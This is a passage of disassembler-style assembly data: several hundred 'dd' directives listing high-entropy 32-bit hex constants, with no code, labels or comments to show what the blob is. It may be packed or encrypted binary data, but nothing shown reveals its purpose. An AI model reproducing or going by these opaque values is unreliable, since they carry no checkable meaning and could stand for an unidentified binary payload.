		dd 0FC090292h, 0FE4DF81Eh, 0AFD3DEA0h, 82FE3E85h, 0BD573F3h
		dd 203865DEh, 0E3D32DCCh, 0CB3D3FE5h, 0FC336D44h, 62329812h
		dd 1831F340h, 768F66C3h, 0D3B57038h, 45DF25A9h,	0E95385A7h
		dd 0C952BEF2h, 8A5846F6h, 0B40B3120h, 0F4E5883Dh, 0D0A6C5FAh
		dd 64B068ABh, 0E1E518B5h, 35FFCB7Dh, 7BE6FDh, 3AD8500Bh
		dd 265AEF81h, 2F6F34Ch,	0EE6FB0CFh, 94B4417Dh, 10F41BF4h
		dd 5FDB40E9h, 0B434A1BCh, 0D104FB8Fh, 44BA1B69h, 0D24A67F4h
		dd 14E05BC6h, 6B2C09DDh, 96027D10h, 7F37876Ah, 88785EC0h
		dd 2166DA17h, 0BD2F42BAh, 0A6F24309h, 4F1BB238h, 742929EEh
		dd 6C011BD8h, 0E949175Fh, 9339A40Ah, 6483BE4Ah,	148BD901h
		dd 486D7D2Bh, 445E2EAEh, 3F4258A7h, 0E104F896h,	463F01A7h
		dd 1703FCDAh, 60823A20h, 17BB185Fh, 0E4BF3247h,	0EC42972Fh
		dd 0E2EEA7D2h, 0F9238B12h, 71850BBFh, 510555C2h, 0F312EBBAh
		dd 9C8423BDh, 66B2AA0Ah, 0A8FEE312h, 99688251h,	34C7D6Eh
		dd 0A147801h, 1797E903h, 0C4B63C80h, 0F604E6C0h, 0B551D60Ah
		dd 0B2E57B50h, 1AFCD404h, 0A44628FAh, 50C76B49h, 0CC408565h
		dd 5FCE4889h, 4047EF25h, 0E921F149h, 0A8D28531h, 0D920C518h
		dd 965CBFF8h, 36E87F52h, 0FE4AC738h, 0AA4F34ABh, 251C3152h
		dd 31D13957h, 29033BE6h, 74816234h, 97A1B1AFh, 18F44A2Ch
		dd 46E00AE6h, 3854D31h,	230ECECCh, 98E9F7C0h, 0B3E3CA4Bh
		dd 0C805C73Ah, 0AF4C0114h, 0C04A9CDh, 381C71C0h, 1D42605Bh
		dd 3A02CE08h, 7C017916h, 123C9BEh, 7A20E90Ch, 8ABA34D5h
		dd 0E7F21AE8h, 92E150F4h, 0B8DF809Ah, 0F6672DC1h, 0CDE0FCE0h
		dd 4A49D1B5h, 0EC5213E5h, 2DBF5E9Bh, 1323402Fh,	387F2717h
		dd 2AF9EA04h, 0ADFB51C9h, 88461E9Eh, 0D9E13F13h, 0C287EBF1h
		dd 0E98473F3h, 0D2391903h, 99EAA24Eh, 7C312B95h, 0A42EDA68h
		dd 61401F58h, 1414E59h,	4F12E1D2h, 1CAF70D7h, 4BF9FA9Dh
		dd 0F046E9E0h, 9DA913E9h, 69CF76FCh, 5B82B9Ah, 0B8BCCF09h
		dd 0F41DB85Eh, 1A561BFh, 0C4087C97h, 0F3BB7D3Fh, 0C6FA1521h
		dd 504875C8h, 0DE431092h, 8144BD35h, 70E8213Bh,	7D82CE51h
		dd 0B95ABFEEh, 0CFAA6074h, 81BB4E59h, 74250F7Fh, 85AE6A3h
		dd 583776E4h, 0A15B0C99h, 2CF5D568h, 411E9EBDh,	0AFF6AA7h
		dd 2A09F2F3h, 54F4841Dh, 0AEE9A013h, 0FA595540h, 62550A8h
		dd 7AA41B7h, 458908DDh,	5733EA0Fh, 2D0087DCh, 58AB65BFh
		dd 0D208B029h, 192DAB0Fh, 5E50C830h, 0ADC434B9h, 0FF54247Bh
		dd 44942998h, 0FDDEEDC8h, 4BF62E46h, 8016B766h,	28DE373Ah
		dd 0DD067D18h, 4BB4638Ah, 2D08E0F4h, 3FEDFFF9h,	36006726h
		dd 523840Eh, 587F2F67h,	35004158h, 2D5938F8h, 93B8DCE9h
		dd 68683032h, 919E6C5Ch, 5287162h, 0A2C70688h, 68161E18h
		dd 0BE31158h, 5C0A02Dh,	3794D7E9h, 0AC056603h, 5E2DA006h
		dd 0DD609246h, 0C4BF494Ch, 1D2049D2h, 163AF4CFh, 0A181A15Eh
		dd 0BBDC44B9h, 0DD318CF1h, 0D03900D2h, 7331840Fh, 74A78B12h
		dd 0AB79D5C2h, 7E1457E9h
		dd 0DA31522Eh, 5CF049EFh, 0BFF020D0h, 6804E84Dh, 31BB069Ah
		dd 2F49C853h, 5800DA8Ah, 7C7ABD55h, 0D1052EAAh,	7776E9E5h
		dd 3BC2B834h, 956D72D0h, 0C3A8D5Dh, 4617BB2Ah, 413B4D98h
		dd 1C877E56h, 0A2DF246Fh, 7168E290h, 0A7189543h, 822D3485h
		dd 4B7D7850h, 1CED1307h, 0E06F45F2h, 62920040h,	29F39DEAh
		dd 676EE7B0h, 1B872B24h, 56B3DA52h, 1A5C27FDh, 6DBB5307h
		dd 811CA700h, 162D1CEBh, 0E94B842Eh, 5893A0D4h,	88DF51BDh
		dd 5A1D2556h, 31B8DB96h, 5C1F8B5Fh, 6FBF414Ah, 1D851EFDh
		dd 0FFB1354Ah, 0E9856BF7h, 0BBB6D564h, 8A168204h, 2473B903h
		dd 50C8AFE5h, 0E3BC1372h, 5A9507B6h, 0B8751576h, 0D1490B16h
		dd 20D965E1h, 0D51E0BEAh, 0A9849ED8h, 70BA1352h, 444F7FA5h
		dd 81017422h, 0B8715E08h, 0B7C93345h, 7E3EED2Ah, 53D03226h
		dd 0F9E87042h, 1804C932h, 0FA8CBE06h, 0F94C5FC6h, 0CE84F52Ch
		dd 889C67D7h, 7872B76Eh, 71A90DE2h, 4BDFE451h, 0BF57C32Eh
		dd 0F4D0FC13h, 0FB15BD82h, 31CA0B3Bh, 0FCA79C87h, 1C5A4247h
		dd 552721B6h, 0DEA5D9FBh, 0C9E9D0D5h, 0C44BF15Bh, 12E576Fh
		dd 50A410B8h, 5291B400h, 0E9DFB353h, 6885950Ah,	862EFE55h
		dd 9382F34Ah, 0BB3EE0D9h, 0E3040569h, 40CCECAEh, 610450F1h
		dd 0CD012BDBh, 0E9090810h, 0ED60EC1Bh, 111D4CEEh, 0F69D52DDh
		dd 0DC6A1ECBh, 1ECEAC0Dh, 1790094Dh, 0A8E8C0DFh, 0BD8473AFh
		dd 2F700089h, 7B145071h, 0C29B5956h, 0FD8CD3E9h, 4C570DA2h
		dd 27815D09h, 0C203C368h, 0D8C8D65Fh, 959E5BE9h, 0C8F47122h
		dd 7DDD455Bh, 0B0ABA604h, 0FA5C29B0h, 77C200Ah,	0CB3CAB2Dh
		dd 0B304C95Fh, 2F12B80Ch, 2D05535Eh, 311D7FFEh,	8FE3439h
		dd 1C3198FBh, 0F100C641h, 97E23098h, 0BB186411h, 938E121Bh
		dd 674831FDh, 3D8BEA4Bh, 94712A64h, 84FBE867h, 7AE5F8C2h
		dd 0F78E661h, 0A202AC69h, 8905114Dh, 0CBEABB57h, 0DC94189Eh
		dd 120FBF26h, 0FC3C5077h, 0E0C74F75h, 78A0EE1h,	0BF9B167Ah
		dd 0BA1B24CCh, 0E8D395E4h, 0E9C1BBE8h, 377848D6h, 2FCEBED3h
		dd 42D5E913h, 2CC26828h, 0AE67B774h, 76F2B6CFh,	62A168C2h
		dd 643E987Dh, 89FE4FF0h, 0F671A496h, 1F84812Bh,	0C0827965h
		dd 0CE5D2B94h, 0AC30258Fh, 848E1DAh, 952E7ADAh,	545DA40h
		dd 0F93789EEh, 0C5A5F265h, 8609BE01h, 73F3D754h, 9F195869h
		dd 0E3207666h, 0D15F0020h, 331625E0h, 35075E2Eh, 31CF3ED7h
		dd 9383C215h, 8435FD97h, 0F23020AFh, 0C92E1662h, 3C2A476Fh
		dd 74BF3398h, 6E20F0F4h, 0C4CBEFA8h, 75831C16h,	2BBF8B01h
		dd 0B88FF5D8h, 14837392h, 0E810D929h, 116603Bh,	0EEC816EBh
		dd 0FC297949h, 0AD862C56h, 0AB263954h, 658A3738h, 0CAD117F7h
		dd 0D86089F4h, 0E2745E8Eh, 2A4084D6h, 81CC2805h, 1F28F25h
		dd 37255D5Ah, 0BF97DA3Dh, 0BFF55921h, 6085C97Ah, 0BB816358h
		dd 0D57DF4h, 50D3F756h,	0BC4955B8h, 0E1F10D5Eh,	7B68DBECh
		dd 60E09E99h, 0FED1A44h, 0DCF78100h, 0E93D5317h, 0ADCB5E9Fh
		dd 33AAD7D9h, 854FB30Eh, 0AF2B3EE5h, 0D2CBD214h, 0E916C3DFh
		dd 0C57E84E6h, 70B1AFCCh, 4CCAB22Bh, 0F98227AEh, 2956E98Eh
		dd 4B60EA9Ch, 12F0E831h, 0EAA4BE7Eh, 96DF9D6Ch,	7DEB7BDh
		dd 24CD4F2h, 40F5453Dh,	1851AF40h, 0E9639904h, 0D8BFA498h
		dd 280B7570h, 5EEDD156h, 21E50332h, 9E71D26Fh, 0C04602EFh
		dd 2C54FA25h, 2234720h,	13DF6A2Dh, 5E183AC0h, 31BEFE01h
		dd 0D519E9F1h, 912D1B62h, 0F929B602h, 20C3965Fh, 0FE4C5715h
		dd 51C91295h, 79BD008h,	82D9F65Ah, 0ABD27C7Fh, 7952E20h
		dd 207AEF80h, 0AC75A2F8h, 48A6F3DBh, 4FA4E950h,	847BF2E0h
		dd 500E1BABh, 0A4F19AC5h, 3C7C755Ch, 0CB2730B8h, 8026F659h
		dd 74DFE381h, 0F4ED172Ah, 3E267348h, 3602B47Fh,	819D2BA6h
		dd 0C86BE9E4h, 27771A3Dh, 0BB80C30Fh, 2824585Bh, 0A7CCC4A1h
		dd 10985714h, 10BD97C9h, 0B4BCB239h, 5074583Eh,	24D08839h
		dd 5A5806C7h, 6E700C0h,	52A0B551h, 280B3EB6h, 21B4E9F5h
		dd 0B8CB8048h, 8121A86h, 0C48A8EF3h, 1A3C81D6h,	0CC2AD179h
		dd 6C095AEh, 384B9C3Fh,	8097E94h, 0F9F37D5Dh, 20E6F70Bh
		dd 0D83CE0Bh, 56683CBBh, 0BA5ECF50h, 1D15E4Fh, 0D6078C38h
		dd 15552003h, 0DCE8725Ah, 7399F300h, 0DE314674h, 87ADB95h
		dd 5104344Bh, 37EBDD88h, 0E9EB83E9h, 7FFECEF9h,	33E8CE66h
		dd 0EBCD0296h, 0DF8003FEh, 5E015918h, 0E9DD01A2h, 0DC3B1FD1h
		dd 0E52668EDh, 52603C0Eh, 1E1979BAh, 9F537130h,	0E9DF02D3h
		dd 7E0914B0h, 0F9A020Ah, 1EC10EFEh, 60BC05B3h, 8AC8BF92h
		dd 2FDF9C1Dh, 750C715Ah, 4443F969h, 39E21707h, 3A7DF108h
		dd 4EBB29C0h, 994C503Bh, 655410D6h, 2AE20117h, 0EBC158C9h
		dd 0AEE2002Ah, 3183A8F5h, 7F5BDA2Dh, 4D064682h,	3B638149h
		dd 901B5F1Ah, 8225AD44h, 0BAF3128Fh, 0BCC62BC3h, 1C25B8AEh
		dd 2D210954h, 7D95AD64h, 66BF48B6h, 0A85D2027h,	1BB8805Bh
		dd 15666A15h, 6CF8B11Fh, 2606363Eh, 0C43DC127h,	2628654Eh
		dd 7B2CD18Ah, 23563A7Ch, 0D5EFFD09h, 18D71D2Bh,	9B89Fh
		dd 5455C1Bh, 0C1794649h, 7ED7315Bh, 0B3EC75CBh,	51FF505Ah
		dd 0AFD76654h, 0F1CBEB44h, 533A0909h, 26CA78D5h, 67B9ABD4h
		dd 6CD4666h, 595DEE1Eh,	87189124h, 9F0AA5A8h, 0F08FDE18h
		dd 47681DA8h, 99327C4Fh, 8104F649h, 8AE6CDF2h, 956660E4h
		dd 339E390Bh, 201A7C29h, 24A2BD08h, 0C201098h, 79060934h
		dd 0C90BDFBAh, 9EC85D66h, 0E3292A6Ch, 820AB18h,	690ABCh
		dd 0FD5FA012h, 86F8BD05h, 1CE7E913h, 0DB3E64A2h, 167595F0h
		dd 1D2F5B65h, 0CB78ADBCh, 777BAB09h, 4A4AEC26h,	0FB56C40Fh
		dd 0B9968FE2h, 63058090h, 0B121421h, 8C3DDA2Dh,	41998685h
		dd 61FBAADh, 51022BB4h,	5F4BF9E5h, 0C0D7D0E8h, 9B4FFA95h
		dd 68E962ACh, 0C180B77Eh, 77AD0236h, 20F59C29h,	315A4A08h
		dd 2BE691Ch, 55289453h,	92A78F31h, 49FF0EF7h, 300E9002h
		dd 8FBA86h, 0E266A27h, 4405BF57h, 5067AA2Fh, 0BECF0B65h
		dd 0D4003241h, 7148A2E7h, 0CD180A61h, 73B4373h,	0BBB6C2A6h
		dd 0F66FF683h, 6866EC25h, 82C93A22h, 9547DAC1h,	25CDDB78h
		dd 2B12455Eh, 0E9C109F3h, 0B3A81C02h, 5F895902h, 0E9CF06F4h
		dd 56224164h, 6EE1697Ah, 0E1E9C560h, 21A6D3BAh,	42823E2h
		dd 0BF5DBF4h, 4D6B2B87h, 53C4980h, 0DAFF0720h, 4380E2C0h
		dd 49667F13h, 284C1DBBh, 0DA8309D1h, 0F97698B0h, 8C33F72Bh
		dd 3976B9C6h, 418863F6h, 0B33C0856h, 53B317Ch, 875A5D62h
		dd 0A773E320h, 0E6A8FD0Bh, 0AB1C3408h, 0D3488FB8h, 0F7246104h
		dd 0F39B0A44h, 0EE94C07h, 0D95A488Bh, 0D7199DF6h, 34FFA862h
		dd 3D70F6B7h, 0F9A3DE96h, 640BD6D1h, 613975E1h,	55B9515Bh
		dd 8FC4DC57h, 94996E9Fh, 0EEEAC4BCh, 0EBD475E4h, 15686107h
		dd 79F7C270h, 248A4852h, 0B0D64EE8h, 714BE64h, 28D003FDh
		dd 5D4B07C7h, 515AC1AAh, 0F45D2E55h, 0A3F418CBh, 0F921C649h
		dd 8E3BC9A0h, 42312DE2h, 0CB7C559Dh, 0E950B052h, 44926E74h
		dd 0BCB9C1A4h, 0F891A2F8h, 2C332D40h, 135BC5C6h, 2DEFCACh
		dd 30312F46h, 0F750A674h, 6B9B90DBh, 6A5FCBAFh,	51257678h
		dd 1B356B57h, 336182CAh, 866CFBE9h, 5133684Eh, 4F5AABh
		dd 817BA3Fh, 8DB50C1Dh,	800406D1h, 750C0B1Ah, 0C93F5674h
		dd 4FDA91D4h, 480CA9ECh
		dd 0D6E02037h, 9B708097h, 806B476Ch, 602790D8h,	2014D0CCh
		dd 0B8008A37h, 1E8602A5h, 92D4840h, 851D5C8h, 0A94722F7h
		dd 0DCBE0052h, 0B7A0766h, 5FBE6B5Dh, 89C8D6FDh,	22B8F58Ch
		dd 0E572768h, 121D1098h, 490450D2h, 9019395Bh, 0DAED3F03h
		dd 2A7F5025h, 0F103676Fh, 2C921D45h, 0CF9824B6h, 442F5CAAh
		dd 2D6BA827h, 42815405h, 800181A9h, 3CE0CCF3h, 7DC8BFEBh
		dd 5B0B539Ch, 8D72968h,	5127087Fh, 2F5BA6CAh, 5910B95Dh
		dd 514A012Eh, 6D0BFAE9h, 0F9A013B7h, 491D31BBh,	0D8040791h
		dd 14254DB6h, 0EEFD6962h, 9E5754F2h, 51D73BF7h,	8AB59A4h
		dd 10A3087h, 8E099EEEh,	5AAAFE52h, 63296B86h, 9BCE0F25h
		dd 31067E41h, 0E4E4245Fh, 0D9D5C24Ch, 0FC594970h, 24873C2Dh
		dd 856AAEE9h, 0EFD0315Dh, 4B2A4h, 52665ACCh, 0B637B551h
		dd 0B0E04860h, 62EE802Dh, 28A4066Ch, 0B0278ED5h, 98F0977Bh
		dd 2D0E93FBh, 0F102122Dh, 885201E6h, 10BF41EAh,	0F4BE00C0h
		dd 65C22673h, 68310ECDh, 0BE80334Bh, 64EC42B9h,	0C7CAE917h
		dd 1A2D1DB9h, 0FFABB842h, 21ED6F5Bh, 3095A78h, 12A47B70h
		dd 917AEE3h, 139FC7ADh,	550983EEh, 58DFF9B2h, 0FE6AD2BFh
		dd 680BCA2Bh, 0B4460B86h, 5284DD4Ah, 251D8EFFh,	802540C9h
		dd 282226EAh, 0CBFE0122h, 70AEB151h, 8292997Dh,	70D9EC2Fh
		dd 0D98850B3h, 661440D5h, 6F902CCFh, 29927DCFh,	0AA10F2B3h
		dd 0BFB80706h, 0DA04E64h, 9340D6h, 3E590512h, 0D8E975C7h
		dd 40BEF44Eh, 0E20ACE52h, 0CF48894Bh, 0D7FC118Eh, 185F042Fh
		dd 9FB299BBh, 0E4BA1424h, 277CC32Ch, 0FC052B25h, 0E6461250h
		dd 0CFED1762h, 830B6FF7h, 0D7CA02EAh, 77781EF7h, 3C5C81A5h
		dd 0E7C1A1BEh, 0BCE67770h, 0C6880480h, 8082AE58h, 605D0BF3h
		dd 0BA2335E8h, 6E70B779h, 40288C4Fh, 0BB7940DAh, 6E085602h
		dd 0F0EB8326h, 212D108Eh, 0DCC73D61h, 784427D1h, 98DFE679h
		dd 81FFE005h, 2002FCD2h, 9ABF5891h, 0C0C4FD12h,	9AEFD52Dh
		dd 493414B8h, 6012A4D1h, 7E3B6D0Ch, 0B52BB4A0h,	0B44870E5h
		dd 0B329EE16h, 4F162260h, 1840E309h, 0C129D20Bh, 0E8441201h
		dd 0F14E1278h, 5DDB8E33h, 0C71C6D21h, 51DBB42Bh, 0E3BE05FBh
		dd 82C95277h, 0A08BA7E9h, 4E2155A7h, 220F9535h,	5EA2D6A5h
		dd 0F91F1277h, 478F0F44h, 0E86E2A20h, 0F7685182h, 62BD5671h
		dd 4D710778h, 1E97F82h,	0B6ECFF41h, 5984B662h, 0C6DC093Ch
		dd 2DF375D2h, 2D937C27h, 22AF656Dh, 963455h, 0C120B3BAh
		dd 0A6B3154Bh, 73F8E91Ch, 0A22DE2E7h, 376E2252h, 69AC2AD5h
		dd 7B2CA01Ch, 0B6FA1B8h, 0D8F8B7h, 0A86069BDh, 0AFC58120h
		dd 1F7B6118h, 3E108A0Ch, 0F502289Bh, 3F704CF7h,	0F680FE00h
		dd 0B372B566h, 0AC1306CEh, 411C902Fh, 8DF10891h, 0D8796362h
		dd 95D8DF5Bh, 164D3832h, 0B6F077B9h, 89973FF4h,	0B4145DBEh
		dd 47D2B598h, 0A0441891h, 0FCE83101h, 32A83C92h, 5A9DC301h
		dd 7EF2FC4Eh, 9E9C9DCFh, 822FF95h, 1173B499h, 0F7DAFBDh
		dd 43E36584h, 0B035A583h, 94B8ACBh, 5DE96A0Dh, 9D1390AAh
		dd 0CF680702h, 89908B75h, 0A291B46Ch, 3097E4Bh,	6C8592Ch
		dd 1E0BCFE8h, 961B026h,	11643003h, 10F7E04Dh, 0ACD101A1h
		dd 0A0D2705h, 2D4B706Ch, 0B8DD07A2h, 3BD557Eh, 7BDF6988h
		dd 5E3AEDC1h, 0F71E09F5h, 5B30B19h, 0D249B622h,	38D30654h
		dd 8A5E4B0Dh, 4F68268Ch, 5988462Fh, 2D5F39D9h, 40E23B27h
		dd 0F720DD16h, 0AF65F41h, 0A2C8C2C4h, 0E32085E8h, 40F94798h
		dd 637FB02Ch, 1618B49h,	5AB45053h, 247AE388h, 28F8FAF7h
		dd 0B58104F4h, 4BE104Eh, 72945F3Ch, 0B4BCC2h, 673285B9h
		dd 2AA0634Ah, 30070928h, 4CA0D113h, 554C68F9h, 5FF3E0FDh
		dd 0F3737E2Dh, 36B809C7h, 0EBEF805Fh, 0DD104DD1h, 7AD9804Ah
		dd 41E92AC9h, 8DB46D5Eh, 21374147h, 10CC786Ah, 542B859Bh
		dd 0BA5200F1h, 67B022B1h, 70BCBB8h, 0F53D0F25h,	6D12E20Ch
		dd 54153213h, 5D711F01h, 0AC6F0396h, 70741662h,	0E17AFD92h
		dd 86EDACC4h, 0B8004638h, 0CA6765Bh, 7F12920Dh,	0BB2746h
		dd 85E2D4Bh, 28B80F8Fh,	78099140h, 0B1852ADBh, 50682DA4h
		dd 0ABB9F7F9h, 6805FED1h, 0EB444994h, 0DEFCE8FBh, 213E0D9Eh
		dd 4BA3E55h, 0B3229EF9h, 0E8535AD8h, 52F355BCh,	0FBFADE25h
		dd 6896BDF8h, 288CAA9Ch, 0FD6548C6h, 5EF50C61h,	0C9002AECh
		dd 4DFAAB2Fh, 2447EC05h, 0A0B57080h, 8CEBBC07h,	0BBBEB589h
		dd 5964C609h, 805F517h,	0E90CC748h, 3A970ADBh, 0EA874FC1h
		dd 9D55E860h, 0DB67AD80h, 0C5588960h, 33978F02h, 12254F2h
		dd 1A33D3BDh, 0C8DE17BEh, 4E5C8228h, 0DBFED20Eh, 4DD34F2Ch
		dd 0A3ABDC68h, 602B25F7h, 14F5958h, 560D6852h, 6A5A303Bh
		dd 4CF248D0h, 76C82E1Bh, 0E9B101Fh, 12567568h, 8287E3FFh
		dd 0A7F7FEE9h, 6574C1F5h, 93D8F294h, 8E42EC0h, 0D8B50ECFh
		dd 0E0BEC0Bh, 87B7A181h, 0A4CAD730h, 0F3E778CBh, 1E03B1C4h
		dd 0E3E68166h, 0C60A0F2Ch, 464709C9h, 2BFD057h,	7C4EE923h
		dd 535C78C1h, 0C62CD920h, 199FB999h, 84B0EECh, 0B99472AAh
		dd 789D2578h, 25E774D7h, 72DE75A8h, 0FD0FE31Ah,	0C8C3DEC2h
		dd 8ADA9FDh, 1FFEF9A9h,	0C4B449D8h, 3499D6F1h, 83F5E606h
		dd 0F20BD22Ah, 10FE297Dh, 0BAE5BE73h, 97E9A0F0h, 0C2C9B20Ah
		dd 4A46130Ch, 842A8FDh,	140C0C34h, 129E545Bh, 0C3543687h
		dd 0C8C8DCFh, 40400EF7h, 3AEA05EFh, 0D89777EEh,	0E5078346h
		dd 0BEC4AFB5h, 90BCFE68h, 0EAE32D6Fh, 4BD2E854h, 0FBF0ACFCh
		dd 946B905h, 3739D268h,	2B227191h, 96DF88F2h, 4B64EDE6h
		dd 0F0217805h, 4F138C53h, 7A2F5809h, 0F9EE5A4Ah, 0C5592FD1h
		dd 12A0BE4Ch, 0C26B09BEh, 5D4069Fh, 1EB6B01Dh, 0C9CC6BBCh
		dd 0EEDE032Eh, 0EF7C5071h, 51918093h, 0C1287B9h, 0FD0877CDh
		dd 1A442429h, 0F157A0B0h, 0AE5EE473h, 7132C509h, 36798276h
		dd 8861736Dh, 0F74280BCh, 6B7C25D8h, 35200201h,	138E62ECh
		dd 75BDA2E8h, 5E56816h,	0F15801BCh, 0C6BF9731h,	44ED2B02h
		dd 0E1F766C2h, 6B9C51E0h, 1AE23F9Eh, 53BFE9B0h,	0B3E36DDh
		dd 0CD658F7h, 501E04A0h, 0D8C9EEB0h, 0E8258004h, 25762C02h
		dd 9AF4B151h, 0AE80050Eh, 79E164BCh, 38B6ACEFh,	59C80BD5h
		dd 0CFCBE008h, 53CB2E0h, 24D4048Ah, 0F40FE48h, 6D963233h
		dd 5DC40025h, 0EF0D0EC8h, 477F303Ch, 3827EB75h,	0E7935D4Fh
		dd 6ED1E34Fh, 5E02AF20h, 35C231F4h, 96DC0999h, 9A70742h
		dd 2604535Dh, 90302EDh,	0E28E7BADh, 2D8B660Bh, 0C9815D74h
		dd 316575ABh, 32854D39h, 7F32AB3Dh, 77D65556h, 0B5E2E9F0h
		dd 7955FC09h, 79736251h, 129D21FFh, 0F56FC831h,	6908AF0Ch
		dd 473CD195h, 0EB01EF5Eh, 2A9B3D1Bh, 740A428h, 0BBD09758h
		dd 7DA2D095h, 0FC394A67h, 3512001Ah, 874B6AD8h,	0CC7095FBh
		dd 9906989Fh, 2921251Fh, 0D71C5170h, 1524F70Bh,	0DEDD2A09h
		dd 85DF6BC6h, 0D3A848F9h, 0F60DB50Ch, 0CDE4C522h, 0B92F99Fh
		dd 8E5D55F5h, 0DED80B7Fh, 46D02732h, 0D64A8CBDh, 0DD035E1Ah
		dd 7A0B218Ch, 18C9E3B8h, 83575625h, 324E5032h, 3F6C8DAEh
		dd 7530BCA5h, 1A6082A5h, 0DE90E0F5h, 40C9B535h,	5EF2D671h
		dd 8B30E33Bh, 58B57828h, 205414Eh, 12AE376h, 0BBCD84DBh
		dd 0D7A87B60h, 0ECE55F17h, 0ED86C526h, 1F9D9CFEh, 9F26A01h
		dd 7AC1685Fh, 0BBD312Bh
		dd 81AB3C35h, 34BB1299h, 0D5AF0C82h, 0BEDE7E98h, 84ACCAADh
		dd 0EE4E772h, 0B2635EB9h, 3F9297A6h, 0DDB16A89h, 24162021h
		dd 0E97C7086h, 0FE6CB29Fh, 0F8F57AC3h, 0ADFA25F4h, 7FCC3FE9h
		dd 81DE1BE2h, 907C05BAh, 61656075h, 239F7918h, 2FFD5E26h
		dd 5F05AE0Eh, 8BD1629h,	0B009459Ch, 29378FF8h, 0BBAF10Ch
		dd 0AD1823DEh, 404B7668h, 0E98F27B9h, 1A7D56A9h, 9088F545h
		dd 0BA571291h, 2907AA8Eh, 8917B621h, 6252D9DDh,	7E7839E9h
		dd 0FE4E58A0h, 0CF80C70Fh, 0F641A529h, 0D6F8FE7h, 88F250C5h
		dd 0CB120E5Bh, 0E009A061h, 5A647E5Eh, 0FC3B70DFh, 42E102EDh
		dd 0DD017A38h, 8285142h, 209328DCh, 474927A6h, 22B2DDEh
		dd 60E1C1B7h, 81DA867Bh, 8251FCBFh, 4BDB0E48h, 5F271DF6h
		dd 0D465AD21h, 8C143CFEh, 7FB6BB19h, 0DBC54D02h, 0DC9EEE4Eh
		dd 5DC1AF4Bh, 0C86FC331h, 5794A3BEh, 5E58093Bh,	43932229h
		dd 0ACDF0B88h, 0B0878A9Eh, 55AC4011h, 163E4093h, 74227F70h
		dd 2AC2801h, 35173452h,	72F75162h, 0C5E65E0Dh, 0C061BAFFh
		dd 8214D329h, 0BCDEB09Eh, 0C7795F52h, 0F51D6342h, 5162A49Ch
		dd 551828CAh, 571336C7h, 58FDF6BEh, 0AF13B4A3h,	0CCEE5C52h
		dd 5CBEB9D5h, 590B801h,	0B497202Ch, 0E674AF0Eh,	0E9556001h
		dd 416A3FC1h, 8127DBC5h, 0CABDEC7Dh, 0D72DC89Dh, 4F323119h
		dd 50B1092Eh, 51BBC5EBh, 10D2E01h, 3B7568CDh, 123D343Eh
		dd 0B10FFB0Fh, 0F04E509Ch, 0F13B6FC7h, 0F2E30311h, 9524D45h
		dd 7B301B18h, 0DFBF1E06h, 32FF5B4Eh, 9174436Ah,	6804FE24h
		dd 24E21E54h, 80E8B502h, 1DC330C5h, 0C0A8E5A8h,	0EDF603E6h
		dd 0B3ECF85Ah, 4B768A44h, 0C494ECDCh, 55332B0Eh, 0E36FE0C8h
		dd 0F75D310Ch, 1245EEDDh, 0C6CF2B6h, 0C2CD88A3h, 146FDC0Fh
		dd 0F8896B43h, 0BE7E0F6h, 5842EF80h, 0A24C307Eh, 4FDC70B1h
		dd 2C1EA7C8h, 69A42B20h, 7EA4F527h, 8DFCAA2Dh, 8B5F9575h
		dd 0A0837597h, 3025FB5Dh, 970EE8h, 2EB586B9h, 470A00CBh
		dd 15826F73h, 34008DC4h, 36D7FF2Dh, 4C8BBEEAh, 0A306CFBh
		dd 0A69ED339h, 153BA801h, 286274C3h, 6A08D68Dh,	0EF7E3020h
		dd 13C01B27h, 44B9D027h, 3A219083h, 0DA2E5332h,	0FCE8011Eh
		dd 0F56B8993h, 9FF0E0F8h, 7233320Fh, 1F03EA0Fh,	2EFEB23Fh
		dd 49DFE183h, 4261B7FDh, 300ABFF4h, 0B3588FBEh,	82FC60CEh
		dd 0F726DC91h, 0F9D5BA00h, 60EE8361h, 0B94E4A03h, 241E1BC6h
		dd 0A0128151h, 850F97C0h, 185C9AABh, 4713E860h,	0E61CA55Ch
		dd 0F692FE8Ch, 0D8D0E500h, 30F5FC7h, 0C5ACAF15h, 59C05382h
		dd 0F21EED61h, 49135A44h, 3FFAE0h, 0D8183336h, 4B5758CDh
		dd 2679D907h, 6CC02DE5h, 5B3B9Bh, 70D64754h, 0A7362774h
		dd 8929187Ch, 4AC004A6h, 185082A1h, 1898CAEFh, 0B0E6B43h
		dd 0C0B89DF4h, 2B8995BCh, 0AE7B00FCh, 0C652EFA8h, 401919A0h
		dd 4F29090Fh, 83448508h, 0A7C544DEh, 845BEE44h,	42801B22h
		dd 0EC1D11EAh, 57B8722h, 0BA643703h, 72215h, 24B0AAB2h
		dd 9DD84B42h, 6D731224h, 0E6791A00h, 107038h, 2E22BFB0h
		dd 807FA819h, 6B2BDB1Fh, 0A2ED8A80h, 9CA5F6h, 96ADFD69h
		dd 49D1C766h, 0AB37DC00h, 2399DEEAh, 77B801C8h,	88979E57h
		dd 0EF56E047h, 0ACFA7277h, 5F686300h, 0B20D833Bh, 24E4007Fh
		dd 7D8285E7h, 0EF012A99h, 0D4131C28h, 39D041C0h, 0B5709C9h
		dd 7780293Eh, 0CF21382Ah, 876D3100h, 0E296CD86h, 0AA7E49h
		dd 0FF81192h, 7C144CCCh, 4100135Fh, 0ECB2263Ah,	0A4400C2Bh
		dd 2721F854h, 7F003171h, 0CB2DFA9Ah, 0E871B687h, 0F96D00E5h
		dd 8611B93Eh, 5B011472h, 531D50ECh, 208DFBh, 958E00A0h
		dd 0E2F4EFA3h, 440087C0h, 0A89A687Bh, 0E5F3F791h, 0F0EC8931h
		dd 73A60008h, 8F88505Ch, 1DF4B60Dh, 0B4FD3109h,	0AE4403C8h
		dd 973BA842h, 675F00A7h, 2F2C1C6Ch, 40E0B265h, 0EC9BC00Eh
		dd 0FABA005Ch, 3804283h, 2701478h, 0F9C0FBA3h, 0B77E4BA2h
		dd 0BDB8C0F9h, 3351E114h, 0BA6000DCh, 991BC7E3h, 0DC4A00C1h
		dd 4139CB55h, 700B209h,	96C8F557h, 0F4C301h, 0BD987318h
		dd 472436F6h, 9B09AB78h, 1214F0h, 9894347Ch, 29EE0087h
		dd 0FA7D1B26h, 3707E4CEh, 0F26B9C96h, 0CC3427B0h, 328C1E2Eh
		dd 0FAC5CF3Dh, 6501FE60h, 7424EBACh, 85016E47h,	0F776DA1Eh
		dd 0AEC82C21h, 6F300098h, 78FCC1FEh, 27004F51h,	0FDE5243h
		dd 3ECB454Ch, 428084D8h, 0A6A92E7h, 0F605F37Eh,	4189E52Fh
